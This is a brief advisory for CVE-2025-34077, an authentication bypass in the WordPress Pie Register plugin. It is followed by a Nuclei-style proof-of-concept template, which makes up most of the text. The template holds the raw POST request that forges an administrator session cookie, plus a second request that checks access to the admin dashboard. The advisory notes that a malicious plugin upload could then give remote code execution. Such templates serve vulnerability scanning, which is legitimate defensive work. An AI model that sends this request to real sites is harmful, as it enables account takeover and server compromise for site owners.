An authentication bypass vulnerability exists in the WordPress Pie Register plugin ≤ 3.7.1.4 that allows unauthenticated attackers to impersonate arbitrary users by submitting a crafted POST request to the login endpoint. By setting social_site=true and manipulating the user_id_social_site parameter, an attacker can generate a valid WordPress session cookie for any user ID, including administrators.Once authenticated, the attacker may exploit plugin upload functionality to install a malicious plugin containing arbitrary PHP code, resulting in remote code execution on the underlying server.
PoC代码[已公开]
id: CVE-2025-34077
info:
name: WordPress Pie Register <= 3.7.1.4 - Authentication Bypass
author: kylew1004
severity: critical
description: |
An authentication bypass vulnerability exists in the WordPress Pie Register plugin ≤ 3.7.1.4 that allows unauthenticated attackers to impersonate arbitrary users by submitting a crafted POST request to the login endpoint. By setting social_site=true and manipulating the user_id_social_site parameter, an attacker can generate a valid WordPress session cookie for any user ID, including administrators.Once authenticated, the attacker may exploit plugin upload functionality to install a malicious plugin containing arbitrary PHP code, resulting in remote code execution on the underlying server.
reference:
- https://github.com/MrjHaxcore/CVE-2025-34077
- https://nvd.nist.gov/vuln/detail/CVE-2025-34077
- https://securityvulnerability.io/vulnerability/CVE-2025-34077
classification:
epss-score: 0.19156
epss-percentile: 0.9514
metadata:
verified: true
max-request: 1
publicwww-query: "/wp-content/plugins/pie-register/"
tags: cve,cve2025,wordpress,wp-plugin,pie-register,wp,auth-bypass
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
user_id_social_site=1&social_site=true&piereg_login_after_registration=true&_wp_http_referer=/login/&log=null&pwd=null
matchers:
- type: dsl
dsl:
- "contains(set_cookie,'wordpress_logged_in_')"
- "status_code==302"
condition: and
internal: true
- raw:
- |
POST /wp-admin/index.php HTTP/1.1
Host: {{Hostname}}
redirects: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "Dashboard","Plugins","Edit Profile")'
condition: and
# digest: 4a0a00473045022100ceb90b4d43bd235df7d36fc851247af035bb0d5cc45bde979e20e155c54908c902202761a5e251da2eeac2c2b00d328fa4ec85bc20b5948ccdf0009f321b97cb11ce:922c64590222798bb761d5b6d8e72950